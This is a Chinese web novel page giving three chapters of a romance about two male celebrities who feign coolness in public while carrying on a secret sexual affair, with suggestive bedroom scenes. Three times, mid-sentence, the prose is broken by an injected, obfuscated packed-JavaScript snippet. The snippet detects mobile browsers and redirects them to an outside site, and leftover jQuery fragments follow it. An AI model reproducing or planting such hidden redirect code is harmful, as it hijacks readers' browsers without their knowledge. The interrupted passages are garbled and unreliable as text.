《顶流夫夫,恋综互演》 1. 第一章 “卧槽!今天星光盛典居然是陆屿洲和季沨走双人!” “妈耶,一个超模一个顶流,他们俩这个颜值,本颜狗可以磕一年!!!” “冷面模特和风情年上,这个设定也绝了好吗!辰星能不能给我直接快进晚会直播!新的CP就要出现!怎么能够停滞不前!” “他俩CP?不完全统计陆屿洲回国半年时间里,他们两人相见的场合只有四面,次次都是冷脸擦肩,这俩私下关系肯定不好,等着看吧 ,今天晚上必然翻车!” 当天下午,几乎就在星光公布名单的十几分钟后,#陆屿洲季沨#的词条就已经引爆热搜—— 星光盛典是辰星视频每年都要举办的嘉年华盛会,今年正值十五周年,邀请函发了大半个娱乐圈,西装礼服,衣香鬓影,每个人都等着在上面出一波风头发一个艳压的通稿。 辰星为了有看头,规定本次红毯必须由两人协同入场,名单一公布,炒过CP的,扯过头花的,各路八卦人员纷纷出来探头,唯有#陆屿洲季沨#二人明面上没有任何联系的情况下,超越众多大瓜冲上了热一。 纯粹靠脸。 “陆哥!” 香水味扑鼻的休息区,一人绕过提着裙摆的女星,擦过正努力往自己的西装里塞垫肩的男星,在一众耳聋般的喧嚣和失明般的珠宝中挤出头来,一把推开了最里间休息室的门。 明文一个脚刹,抹了把额头上的汗,将那扇挂着“陆屿洲”三个大字的门关上,转头望向化妆镜前的男人——半闭着眼睛,脸部线条冷硬锋利,即便是简单的白衬衫也依然可见几乎完美的肩颈线条,这是那些小明星用了多少垫肩和蛋白粉都无法达到的比例。 身为一年之内就横扫了四大时装周的国际超模,能在群星荟萃的晚会上拥有一个独立化妆间,陆屿洲三个字本身就代表了咖位。 “陆哥,”明文是陆屿洲的经纪人,但到了陆屿洲这个程度,事实上明星的决定权要远大于他,明文一五一十地汇报了刚刚的电话内容,“季沨的经纪人打过来问……” “我们这次有没有一起炒CP的意向?” 化妆师把修眉刀放下,陆屿洲睁开眼睛:“谁?” 他的眼睛是栗色的,眼窝很深,配上冷白色的皮肤很容易让人产生冷淡和无机质的错觉,在陆屿洲红遍全球的那场秀上,西方媒体评价其为:“来自东方的吸血公爵”。 明文自然地将这以为是不悦和不认识的意思,于是开口道:“就是今晚跟你一起走红毯的那个,之前你去水果他还拿了最受欢迎奖,国内当红的一线,脸不错,就是演技差了点。” “你不熟咱们就拒了算了,”明文推测着陆屿洲的心情,“你的地位又不用明星再抬咖,他现在看着确实粉丝多点,但是我听说,季沨这人平时玩得很花,经常带小男生回……” 明文说着话,陆屿洲放在旁边的手机突然响了一声。 于是那人重新垂下眼睛,是一条新的微信消息,备注很简洁—— F:想打个乳/钉,有喜欢的吗? 明文的话说到一半,突然发觉陆屿洲那双没什么情绪的、琥珀色的眼睛,似乎一瞬间变得幽深。 * 季沨将手机扔回桌上,伸了个懒腰:“莫莫,还有多久到啊。” “得一个小时呢沨哥,”季沨如今正是事业巅峰期,通告多到能排满下个月,刚刚从一个广告跑过来,莫可看了眼导航,“恐怕咱们到了就得直接去现场了。” “到了叫我,”季沨发了消息也没管,闭上眼睛道,“我睡会儿。” “不行。”对面传来一道冷冷的声音,虽然说莫可才是季沨的执行经纪人,但是身为经纪总监,郁容才是那个做决定的人,“跟工作人员说把次序往后调一调,ElieSaab的高定我已经让人运到了现场,你换上再过去。” “没必要吧,”季沨懒洋洋挑开眼皮,笑了,“我就算是套个麻袋踢个拖鞋,不还是一样吊打?” 这话说得狂妄,但季沨确实有这个资本——他早年的男团Butland就是以颜值出圈,季沨又是团里的门面担当,时年二十的季沨披着校服戴着耳麦,光是对着镜头嫣然一笑,就让那张专辑的发行量破了千万。 如今他二十五岁,五年的沉浮并没有让这张漂亮脸蛋褪色分毫,反而多了几分红气饲养下的成熟魅力。 季沨的那双桃花眼一挑,连莫可都忍不住微微偏过头,但是带了他多年的郁容依然面不改色道:“我信你有这个本事,但是这是穿给你的代言商看的,只有他们觉得你有穿高定的商业价值,公司和你才能有钱赚。” 郁容说着,将平板扔给他:“我让小张带了三套,挑一套?” 安排完这件事,郁容这才将目光转向莫可:“让你问陆屿洲的经纪人,有消息了吗?如果他们要炒的话,我们需要对一下服装颜色和配饰,还有稍后的通稿。” “不知道……”莫可看了眼手机,“他们还没回我。” 嗡! 是季沨的手机响了。 L:【图片】 L:【我想这种红色很适合你。】 季沨点开看了一眼——漆黑的背景布,铁链上的中间是两条银色的细蛇,而在那两条蛇的中央,夹子的顶端,各自盘旋一颗殷红的,如同血滴一般的红宝石。 不愧是时装周出来的,审美倒是不错。 “炒什么炒,”季沨合上手机,“我跟他还指不定谁蹭谁呢?” 季沨说着将平板扔回给郁容,用笔在中间那身白色的画了下示意就这套,随后才慢悠悠笑了声:“再说了,我们认识吗?” “好了二位,到达之前不要再叫我了,困。” 他说完将车座一降开始补觉,可放在身边的手机却在这个时候亮了下。 L:【今晚做吗?】 * “啊啊啊啊啊啊啊啊啊下一个是不是下一个是不是!” “内娱第一CP即将出道,让我看看是谁同框即颜狗盛宴啊,哦原来是我们记录CP!” “笑死,正主还没出来呢连超话都建好了,等会儿他们俩要是对视一眼是不是晚上就能do了啊?” 凭借着二人的超高人气和超绝颜值,这个热搜从下午开始就一直霸榜,颜狗唯粉对家,不断为词条添砖加瓦,以至于工作人员挥手的时候都充满了隐秘的兴奋:“季老师!陆老师!这边!” “待会儿咱们跟着上一组的过去就行了。” 工作人员指向的是刚刚走过去的一对男女搭档,镜头定格的时候,男生正帮女生提着裙摆,另一只手还虚拢在身后防止摔倒,任谁看了都要说一声举案齐眉。 正是在这样的气氛下,季沨与陆屿洲出场了—— 晚宴上不缺帅哥美女,但几乎在陆屿洲踏上红毯的第一步,所有人都察觉到明星与模特在时装领域上的天然差距。 镜头中的陆屿洲身穿一件黑色廓形中长款西装外套,在普通人身上很容易变成拖地水桶的装束却被他卓越的肩部线条给撑了起来,烟灰色的领带下是同色系的硬质衬衫。 超过190的身高让他拥有把任何一个红毯变成秀场的能力,修长有力的长腿包裹在西装裤里,每一步都仿佛踏着音乐的鼓点,而他垂落在身侧的手上,戴了一副漆黑的皮质手套。 冷峻的面容和皮手套几乎充满了绝佳的性张力,几乎一出场就有人开始疯狂截屏。 可站在他身旁的季沨并没有丝毫被压制的感觉。 比起陆屿洲职业性的台步,季沨的步伐显得更加松弛且游刃有余。 他穿了一件白色西装,丝绸衬衫没有纽扣,敞开的领口是优美的锁骨线条和修长的脖颈,西装从肩部开始垂落大片流苏亮片,好像在舞台中央洒下一把碎光。 这种设计和季沨本人身上随性自然的风流魅力完美融合,季沨一只手插进口袋,嘴角含笑,一面走一面跟记者打着招呼,偏长的头发垂落在肩头,右耳戴了只耳钉,小小的一颗,却是极为显眼的红色宝石。 他们像是冷峻的吸血鬼和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223169|139401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饲养他的人类公爵,又或者是深渊里的恶魔和皎洁的天使,黑与白,皮质手套和血色宝石,极品的颜值和身段,光是站着都能是整个会场里最令人血脉贲张的一对。 弹幕开始疯狂,记者拼命按下快门,按理说一起走红毯的一对应该至少有那么一两次对视和互动,所有人都在等着拍下那一眼对视当做专题照片或者超话头像。 可是…… 第一次,当陆屿洲转过头的时候,季沨凑巧了移开了含笑的目光。 陆屿洲的落点扑了个空,垂下的视线在季沨耳垂处晃动的红色扫了一瞬,又很快收了回来。 第二次,季沨偏过头打招呼的时候,原本正对前方的陆屿洲忽然侧过了身,手掌挥了挥,开始让侧面的镜头拍摄。 于是季沨只来得及看到他微微抬起的,被黑色手套包裹的手指。 如果这两次意外还不足以让还没扎根的CP粉死心的话,那么,当二人终于走到红毯中央,对着后面的海报签名时,却一个拿了支笔,各自占据了两个最远的对角。 签完名却也不互相等候,默认已经完成了任务,一个在前一个在后,明明两人的座位都在第二排,可就是全程零交流零互动。 季沨的要靠里一些,跟陆屿洲隔了七八个人,一坐下就将西装纽扣给解开了,长腿交叠,敞开的西装和开领衬衫带着几分随性的漂亮,一边费耳听着台上的消息方便在该鼓掌的时候鼓掌,一边打开手机看了眼。 他这才有空看到之前那位L发来的信息,眉头一挑,切出去@莫可:“莫莫,我们晚上要住哪个酒店来着?” * 嗡嗡! 手机震了两声,陆屿洲这才将它从口袋里拿出来。 F:【位置信息】 F:【明天还要去试戏,你来找我吧,2304。】 陆屿洲刚打完字,台上主持人忽然喊道:“本届最具潜力新人奖的获得者是——” “陆屿洲!!!” 耳边掌声雷动,陆屿洲将手机一放上了台,作为常年MDC排名前十的超模,这点奖项对陆屿洲来说算不了什么,说是新人不过是指他刚回内娱发展,比起拍陆屿洲,媒体似乎更有兴趣观察陆屿洲得奖时其余嘉宾的反应,比如—— 季沨。 在众人或虚情或假意表示恭喜时,只有他一个人捧着手机连头都没抬,专注地看着新收到的两条消息。 L:【好。】 L:【上次你说想试试的那套道具,我买过了,要一起带着吗?】 台上一片恭维好意,主持人颁完了这个奖项,又开始公布下一个:“本次年度热点人物奖的获得者是——” “季沨!!!” 记者纷纷站起了身,直到这个时候才明白主办方让二人一起出场的缘由,两个人奖项挨着公布,凭着这张脸,他们几乎是相互说声恭喜都能让CP粉原地飞升。 但季沨路过陆屿洲的座位时只是微垂着眼睛,目光在那双被脱下的皮质手套上晃了一瞬。 手套被主人强迫症似的摆放整齐,贴近手指的部分似乎还留有余温。 季沨淡淡收回目光,目不斜视地与陆屿洲擦肩而过。 记者的快门响个不停,可就像是陆屿洲得奖时一样,台上的季沨领奖时,台下的陆屿洲同样头也不抬盯着手机,不知道是看到了什么,嘴角还带上了一点淡淡的笑意。 F:【好啊。】 F:【刚刚忘说了,你这副手套很性感。】 陆屿洲抬起手指回了两句。 季沨恰好在这个时候回来,陆屿洲曲起的膝盖碰到他被西装裤的包裹着的长腿,忽然觉得自己的小腿似乎被漫不经心地蹭了一下。 浮动的灯光和嘈杂的人群,没人关注到这小小的举动,镜头拍到的只是头也不抬的陆屿洲和目不斜视的季沨。 而季沨直到回到座位才看到陆屿洲发了什么—— L:【谢谢。】 L:【你的耳钉也不错,今晚可以戴着做吗?】 2. 第二章 于是,凭借二人从头到尾的零对视,零交流,零互动,签个名都要签在离对方最远的地方,一个人领奖的时候另一个人必然在玩手机,下午时还甜甜蜜蜜CP造势的#陆屿洲季沨双人红毯#瞬间变成了—— #陆屿洲季沨冷脸现场# #季沨陆屿洲隔海签名# #陆屿洲季沨 低头领奖# #扒一扒季沨跟陆屿洲碰面的四大尴尬瞬间# #史上最快塌房CP# 其中两个人名字的变换次序,足可以看出二人唯粉对于番位的腥风血雨。 当然,除了纠结于tag的唯粉,更多的是吃瓜看戏的路人—— 【笑死,早说了这俩人关系不好吧,之前现场碰到过四次都没有任何交流的,你们居然还指望磕CP!】 【史上塌得最快的就是这对了吧,还没进场就开始避嫌,笑死。】 【真情侣才能说避嫌吧,他俩连面都只见了四次都能当场冷脸,晚上碰到怕不是都能打起来了!】 【算啦算啦,人家至少没有割CP粉韭菜赚钱,早塌早完事儿,以后别乱磕啦!】 夜深人静,只有网线上还热火朝天,没人知道,有人站在2403的门口,不轻不重叩门三下。 黑色的皮质手套在木门上发出闷响,门锁咔嚓一声打开,转身关好门,陆屿洲这才取下口罩,将风衣脱下来搭在门口的衣架上。 硬质衬衫透出点落拓随性,不愧是刚登上纽约杂志封面的人,陆屿洲腿很长,行走时西装裤带出的褶皱颇具力量感,绕过酒店的山水屏风,微一眯眼。 季沨正披着一条浴巾半躺在沙发上,绸缎般光滑的双腿交叠着搭在贵妃榻,锁骨上带着几滴氤氲的水汽,顺着领口往里钻。 他的浴巾裹得松松垮垮,一只手拿着剧本,于是一侧便向下滑落许多,那一点红混在一片湿润的雪白里格外显眼。 陆屿洲垂下目光,将手中的黑色盒子放在桌上打开。 盒子不大,只是包装算得上是精美严实,输完密码打开锁扣,才能看到躺着凹槽中间的圆柱体,和另一边露出的开关和电线。 季沨偏头看了一眼,上面缠绕着树藤装的花纹,交错的纹路足以抚平褶皱的每一处,评价道:“设计倒是挺不错的呢。” 季沨应该是刚刚洗过澡,夜晚让他的语气词带着一点暧昧的尾音,陆屿洲想着季沨使用它的样子,喉结微微滚动了下:“嗯。” 他偏头,栗色的眸子望着季沨:“等会儿要试试看吗?” 季沨:“好啊。” 陆屿洲点头,一只手解着衬衫的纽扣,露出块垒分明的胸膛:“我先去洗澡。” 可他的脚步还没有向前,刚刚裸露的地方突然被人勾住了,季沨脸上浮着笑,从浴袍中伸出一条腿,脚背沿着露出的胸膛一路滑过,轻飘飘挑开剩下的两颗黑色衣扣,眼尾潋滟:“一起吧?” 动作的时候长发微微垂下,陆屿洲这才看清季沨耳垂一点晃动的红,在这样的黑夜里像是一盅令人沉醉的葡萄酒—— 他说这个耳钉漂亮,于是季沨还真的戴了回来。 如同陆屿洲此刻——戴着皮质手套的手掌抓住细瘦的脚踝。 季沨说这双手套性感,于是他依言戴回。 如同今晚所有不经意又刻意地偏头,如同之前所有相遇时的陌路不识。 他们永远是默契的,贴合的。 陆屿洲手腕一动,季沨立刻配合着发力,常年练舞的柔韧性让他居然就着这个姿势起了身,腰部一折,两条腿便挂在了陆屿洲的身上。 陆屿洲一只手托住他,黑色陷进雪白,栗色的眼睛微深:“好。” 话音刚落,空出的一只手打开浴室的门,晃动的嫣红酒液被含进唇舌,手套箍进腰身。 花洒打开,水汽氤氲的浴室里,终于响起了微博上正在热火朝天猜测的——类似打架的声音。 * 第二天季沨醒的时候,陆屿洲恰好跑完步回来。 作为一个对身材有着严格管控要求的超模来说,不管头一天晚上忙到多晚,陆屿洲准能在第二天早上6点准时出现在楼下健身房的跑步机上。 季沨没他这么好的精力,打了个哈欠微眯起眼睛——黑色速干衣贴在衣架子般的身材上,连胸肌的隆起的形状都清晰可辨。 陆屿洲脱掉被汗水打湿的上衣,露出宽阔有力的肩背,和上面道道泛着红的抓痕。 “哇,”季沨懒洋洋地叹了一句,“我昨晚有这么用力吗?真是不好意思。”他说,“这样你跑步不会疼吗?” 陆屿洲于是回头看了他一眼。 比他身上的狼藉,陆屿洲对季沨似乎要温柔得多——那张妖孽脸蛋上只有刚刚睡醒的些许困意,桃花眼带着笑,露出的锁骨白皙漂亮,别说抓和咬了,连个过分吮吸出的梅子色都没有。 “季沨,”陆屿洲盯着他露出的一点雪白肩颈,冷冷道,“你这个行为可以叫做得了便宜还卖乖吗?” 在运动完表现出这种眼神和语气其实是很危险的,但是季沨丝毫没有收敛的意思:“难道你就没有受益吗?” 他眉眼一挑,嗓音带笑:“我怎么觉得你胸肌比昨天大了点啊陆老师?” “你……” 陆屿洲喉结一滚,这人却突然翻身下床,在他肩上一拍:“好啦,今天还要试戏,我洗漱去了。” 季沨收拾好出来的时候,陆屿洲刚从送餐机器人那里拿到订的早餐。 厚蛋吐司和美式,陆屿洲拿起咖啡喝了一口,略带苦涩的滋味压在舌底,食欲和刚刚的一点躁动一起被抑制,转头看到季沨,将吐司递了递:“要吃吗?” “试戏的早上我是不吃东西的,”季沨说,“没你那么勤奋总要在别的地方刻苦一点吧。” “咖啡给我喝……”季沨说到一半才发现陆屿洲已经喝过了,立刻改口道,“没事,你喝吧。” 陆屿洲有洁癖,从来不碰别人吃过的东西。 陆屿洲点头,眼睛的情绪已经褪得很干净:“那我给你再叫一份?” “不用了,过去要半个小时,快来不及了。” 他们不谈论那种事的时候总是彬彬有礼得像是陌生人,季沨对着镜子一边绑着头发一边道:“等会儿我走之后你看没人了再出去,记得戴好口罩。” “嗯。” “这段时间通告比较多,等我有空了会联系你。” “好。” “呀,”陆屿洲刚一点头,便听到季沨有些戏谑的声音,“这么乖啊陆老师?” 季沨这人还真是三句不撩一下人就浑身不舒服。 他对谁都这样吗? 陆屿洲抬眸看到季沨身上松松垮垮披着的衬衫,扣子没系,两条雪白长腿一览无余。和脖颈处的白皙干净不同,季沨劲瘦的腰腹密密麻麻布满了层叠的吻痕,腿侧泛着青紫,胸口更是有些发肿的红。 其实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223170|139401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆屿洲这人在床上并不带怜香惜玉的毛病,之所以领口向上的位置没有,不过他们职业特殊,彼此约定不会将痕迹留在影响工作的地方。 但是别的地方可就不一定了。 陆屿洲在季沨笑意盈盈的眼睛里放下咖啡 ,抬手挽起纽扣,目光落在桌上已经被收起的黑色盒子上:“季沨。” “干什么?” 修长的手指叩开卡扣,盒子的形状一览无余:“干一些让你少点力气卖乖的事情。” “现在?”季沨瞪大眼睛,认真道,“我是真要试戏。” “嗯。”陆屿洲点头。 随后也认真询问:“戴着,影响吗?” 这种东西能不影响吗?! 可陆屿洲居然还真的朝他走了过来,季沨后退一步,语气一变:“陆老师?陆屿洲?!” 季沨步步后退,脊背贴上身后的全身镜,半晌之后面色潮红,用捞出来的两件衣服盖住脸,为了让对方消停,膝盖讨好地碰了碰陆屿洲的膝盖:“帮我选一下,这两件衣服哪件合适啊?” 陆屿洲作为不少知名设计师的心尖宠,审美也是一等一得好,他垂眸看了眼,季沨手里的那两件衬衫都带了一点国风元素,一个蓝色云纹刺绣,一个是在腰身和领口做了扎染的青绿。 “你今天试的是个古装剧?” “是啊,”季沨说,“还是个皇帝呢。” 陆屿洲微一蹙眉,想问什么却没有说,只是分析道:“绿色的那件吧,剪裁流畅,色彩融合得更好,材质更柔软一些。” “材质也在你挑衣服的标准中吗?” “当然,”陆屿洲说,“衣服做出来如果不是为了给人穿为什么要叫衣服?” “而且……”他目光落在季沨的胸口,轻咳一声,“我怕你磨到会疼。” 季沨挑想回嘴,却又碍于他手里的东西没有动,陆屿洲少见季沨这种河豚样子,有些好笑。 见季沨不动,便自己过去把衬衫给他整理好了,手指扫过领口带起一点痒意,季沨微微偏头,在最后纽扣系上之后火速从陆屿洲那里夺回主动权,挑了条白色西裤穿上了。 偏长的头发被他用皮筋扎在脑后,季沨对着镜子看了眼自己今天的造型,抬手将陆屿洲系上的衬衫纽扣解开两颗,这才满意地转过身,叫了声:“陆屿洲——” 陆屿洲一回头,便看到季沨拿起什么东西一抛,眯眼笑道:“送你了。” 陆屿洲抬手接过,红色吊坠躺在掌心,是昨晚戴在季沨右耳的耳钉。 “昨晚很开心,”季沨眼睛一眨,“一点小礼物。” “下次再约~” 任务完成,季沨举起的手指张开,朝着陆屿洲挥了挥,笑道:“拜拜啦,陆老师。” 这话说得轻佻,好像一场秀能买半套房的Levi一晚上只值一只耳钉一样。 但陆屿洲心里很清楚,就像他知道季沨不会因为一杯没喝上的咖啡而在意一样,他也不会因为这人嘴里的几句调戏而生气。 微信备注只有一个不易察觉的字母,痕迹都在不会发觉的背后和腰腹,夜晚里交叠的躯体白日里重新裹上昂贵的西装和衬衣,房门砰的一声被关上,陆屿洲看了眼微博,那几条关于二人不合的热搜已经被双方的经纪人撤下了。 费尽心机地掩盖、满不在乎的态度、只发生在夜晚的会面…… 因为说到底,他们不过是—— 平平无奇,床上关系。 3. 第三章 季沨和陆屿洲是在酒会上遇见的。 喝多了酒稀里糊涂搞在一起这个剧情实在老套,但两个人却惊喜地发现彼此在这个方面的无比契合。 找到一个这样的不容易,起码季沨在单身的二十五年里试过的上百个小玩具都没有这么好用的。 他觉得陆屿洲应该也是一样的感觉,毕竟那天晚上之后他被迫推了三天的通告。 于是季沨提出可以发展一下长期性关系,重音在第三个字的那种。 陆屿洲同意了。 他们在那之后开始陆续见面,有时候三五天,有时候一周,陆屿洲刚回国内发展还没有开始跑组,季沨又刚好在拍戏的空档期,两个人都在一个圈子里,碰面的机会不算少。 当然,但凡是能公开出镜的地方,他们都十分默契地——避了嫌。 “热搜已经撤了,你说你昨天……” “人家不配合我有什么办法,我总不能直接贴在他身上吧,”季沨一只手喝着莫可递过来的咖啡,另一只手将跟“L”聊天记录按了删除,笑意盈盈,“贴上面还是贴下面啊?” 郁容给他噎了一下,想说的话卡进了喉咙里。 季沨这种四两拨千斤的不要脸答法确实让人很难应付,难怪那些成了精的记者们都觉得他棘手。 郁容只好换了个话题:“等会儿试戏的剧本看了吗?” “看啦。”季沨说,“这有什么好担心的,不是都跟肖导说好了吗?走个过场而已。” “肖诚只是个副导,真正拍板的还是得杨阶,听说这次资方那边也会过来,”郁容把剧本在他身前敲了敲,“你上点心。” 季沨的眉头在听到资方二字时明显蹙了下,总是笑盈盈的眸子里闪过一丝厌烦:“资方?”季沨冷嗤一声,“那他不是更应该无条件同意了吗?毕竟只是要卖片而已。” 按照季沨的商业价值,哪怕他只是在配角栏里挂个特邀都能让片子收视率翻个倍。 “但是现在片子宣传的重点可是‘金牌导演杨阶的第一部电视剧’,转型的处女作,不管对谁都很重要。” 杨阶之前是去过戛纳的大导,挑人不看流量只凭演员,要求也是一等一得多,因此这个噱头一放出去,评论已经一大批“拯救国产电视剧”的呼声。 可这片子对季沨来说也是一样的——铁打的导演流水的明星,流量需要不断地制造爆点来维持,季沨今年已经跑了三个综艺,他需要一部代表作来稳固地位。 郁容说:“ 杨阶这人,圈子里出了名的脾气臭要求多又难搞,你现在的演技怕是离他要求还差得多。” 郁容本意是让季沨上点心,但是季沨本人看起来毫不在意,这种批评对他带来的情绪波动恐怕还没有刚才提到资方的时候多:“所以呢?你不会指望我在半个小时的车程里速成影帝吧?” “公司可以帮你拿下这部剧——” 郁容盯紧他的眼眸,“但是风风……你应该记得吧,你跟公司的合约只剩下两个月了。” 季沨当年签的是五年约,团里三年单飞两年,如今已然到了期限。 “合约公司这边改了改,除了这部《王朝》,还包括接下来两年里的五部S级资源,外加两部商业电影。” 郁容语气放缓,循循善诱:“只要你点个头,这些合同会和续约合同一起送到你面前。” “这么好啊,”季沨笑着说,抬手将喝了一半的咖啡递到莫可手中,语气真假难辨,“那我要是不点头怎么办呢?” 郁容也笑了声:“季沨,你还记得我们是怎么相遇吗?” “在社交媒体上历数往昔,是每个人都不想看到的,对吧?” 围观的莫可心头一跳,手里捧着的咖啡瞬间成了定时炸弹。 花了两年才捧出季沨这样一个顶流,华图肯定不想就这么放手,但对季沨来说,这个时候肯定是成立工作室自己做更划算。 莫可看看郁容看看季沨,心中已经脑补一出与老东家撕逼的大戏。 两人无声地对峙,空气中涌动的暗流几乎要让人窒息,就在莫可觉得季沨的脾气肯定要开口回怼的时候,这人忽然往后一靠:“那当然啦。” 他眼中笑意不减:“公司肯定是为我好的,我知道。” 抬手将郁容手中的剧本接过来,那双漂亮的桃花眼眨了下:“郁哥你刚刚说,今天试哪段戏来着?” * “季沨要来试戏?他这种咖位还需要试吗?我还以为是直接定的呢?” “我听说啊,季沨是肖导定的,但是杨导要求严不放心,非要再亲自看看,我们这种男五角色就是顺带跟着试一下罢了。” “季沨有什么好的,”另外一道尖厉的声音接过话,带着满腹怨气,“演技那么差又爱耍大牌,每天热搜不是艳压就是强行CP,这种营销咖进了剧组简直永无宁日,肖导怎么会看得上他!” 季沨的脚步唰地顿住了。 几个导演和资方都过来,兴师动众就看一眼季沨也不划算,于是将另一个男配角色的试戏提到了同一天,几个试戏的演员们都聚在同一间休息室里,声音从没关严的门里传出来—— “说到底,他也就是那张脸好看点罢了,现在这个咖位不过就是靠着这张脸卖卖屁股,不然你们以为他靠什么让肖导给他开的绿灯?” …… 完了完了完了,带路的小助理看着季沨明显冷下来的神色,这不会打起来吧! 那样的话她一定会被肖诚骂死的——旁边有那么多路不走为什么非要走这一条,做事情的时候就不能带着你那二两拌饭的脑子吗!! 小助理心中已经脑补了一出双方撕逼放到微博自己被开除被封杀被粉丝开盒的大戏,脸色都白了:“季,季老师……” 季沨脚步一顿,望见身后的她,阴沉的脸色缓和了一瞬。似乎瞬间明白了她的担忧:“没事儿,跟你们导演说,是我自己非要你下去给我买早餐的。” 小助理唰地睁大眼睛,便看到季沨笑了下:“早饭吃了吗?” 她愣愣地摇了摇头,演员八点到他们就得五点,哪来的时间吃饭。 “拿去吃吧。” 小助理一眨眼睛,便看到季沨将莫可手中的纸袋丢过来,如果她早上有幸站到2402的门口,便会发觉这和季沨出门前对陆屿洲做的动作一模一样。 只不过这次不是红宝石耳钉,而是莫可跟咖啡一起买的三明治。 三明治还热着,温度透过纸袋传过来,季沨那张漂亮脸蛋上带着一模一样的招人笑容,朝着她挥挥手:“去楼下吃了再回来。” “放心,我不打架。” 这张脸配上这个声音简直是绝杀,小助理心脏发晕,抱着纸袋消失在转角处,结果下一秒—— 砰! 季沨一脚把门踹开了。 “是吗?”季沨冷笑一声,望向房间,“其实我也很好奇,我是怎么让肖导开的绿灯?” 他的视线一扫,准确地落在了刚刚那道声音的主人上:“宁辛,你这么清楚,难不成你干过啊?” * “郁哥郁哥,”莫可站在旁边,火速地巡视了一圈附近的人影,“季哥看起来脾气不太对,我们是不是要拦一下啊?” “拦什么?你以为你拦得住。”郁容说,“阮嘉你还记得吗?” “当然记得,”莫可说,“那不是之前跟沨哥一个团里的吗?Butland的舞担。” “是啊,阮嘉当年在团里的时候去拍过一个剧,”郁容一抬下巴指指宁辛,“跟这人一起。” “那剧本来是阮嘉男一他男二,结果这人爬上了出品方的床,硬生生把自己的戏份加成了双男主,还让阮嘉在冰天雪地里的寒潭里泡了一整天,那时候阮嘉身上还带着跳舞的伤。” “后来这场戏拍完他就因伤退役了,没过半年,Butland宣布解散。” 莫可没想到后面还藏着这么大的一圈恩怨,倒吸一口气:“那我们现在……” “看着点路过的,别让人拍到。” * 见到来人,宁辛几乎是瞬间从椅子上抬起了头,心里咯噔一声:“季沨?” “季、季、季前辈……”另外几个试戏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223171|139401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的立马站了起来,眼观鼻鼻观心,鹌鹑一样缩在一旁,心里揣测自己刚刚到底说了什么以及季沨究竟听到了多少。 不过还好,季沨似乎没往他们这里看。 “虽然你比我大上一岁,”季沨盯着椅子上的宁辛,“但是按照规矩,宁辛,你也得叫我一声前辈。” “季沨!” “《舞动青春》这综艺,你才刚混进去吧,”季沨说,“你要是不叫,我就告诉导演,我现在突然有时间出席评委了,只要他飞行嘉宾换个人。” 宁辛怨毒地望向季沨,几乎是从齿缝中挤出声音:“季、前、辈。” “哎!” 季沨应了一声,他仿佛没看到宁辛眼中的怨毒,笑容和用词一样张扬:“虽然你这个人并不尊敬长辈,但是我还是比较随和的。” 他扫了眼宁辛眼中的剧本:“试戏啊,刚好,我也是。” “既然你叫我一声前辈,那我就勉为其难教教你。”季沨说,“不介意我坐这里吧?” “不介意不介意,”旁边的小演员赶紧将自己的凳子搬过来,“季老师,您坐。” “谢谢,不过我今天不喜欢蓝色。” 季沨说着,下巴一抬,踹了脚宁辛屁股下的凳子,居高临下道 :“我喜欢这个。” 凳腿一晃,宁辛整个人差点直接翻下去,咬牙切齿站起身:“季沨……你不要欺人太甚!” “这就叫欺人太甚啦?”季沨笑了一声,双腿交叠往椅子上一坐,顺手拿起旁边的剧本:“这个是你的?” “还给我!” 得到肯定的答复,嘶啦一声——剧本从中被撕成两半,季沨眉眼带笑:“反正你这么能编故事,应该也用不着剧本吧?” “季沨!!!”宁辛脸色因为愤怒而涨红,“我马上还要去试戏!” “就算我跟阮嘉有过什么!那也是过去式了,他自己都不……” “哦,等会儿要试戏啊,是我考虑不周了。” “莫莫,”季沨叫了声莫可,“你去跟肖导说,把宁辛的名单放到最后一个,下午再试,让他好好准备一下。” “还有,这个椅子我很喜欢,”季沨缓缓站起身,“跟道具说我买了,等会儿帮我搬车上去,宁老师既然这么喜欢旧事重提——” 季沨语气一瞬间变得冰冷:“就给我站着等!” 季沨笑起来向来漂亮招摇春风拂面,现在这样冷下脸,却像是淬了毒的寒霜,几个小演员在空调房里打了个寒战,瑟缩着往后着退了一步。 “学会了吗?”季沨缓缓扫视过他们,最后才将目光落回到宁辛身上,手上的剧本拍了拍他的脸,冷笑道—— “这才叫耍大牌。” 他说完将墨镜一戴准备离场,可谁知道,刚刚还咬牙切齿要跟他拼命的宁辛突然一副楚楚可怜的模样,牙齿咬着下唇,“我……那个,陆老师。” 哪个陆老师? 季沨一回头,恰好撞上门口陆屿洲的目光。 陆屿洲怎么会在这?! 而且看陆屿洲路过的时间,应该刚刚好够把他“耍大牌”的最后一句听完。 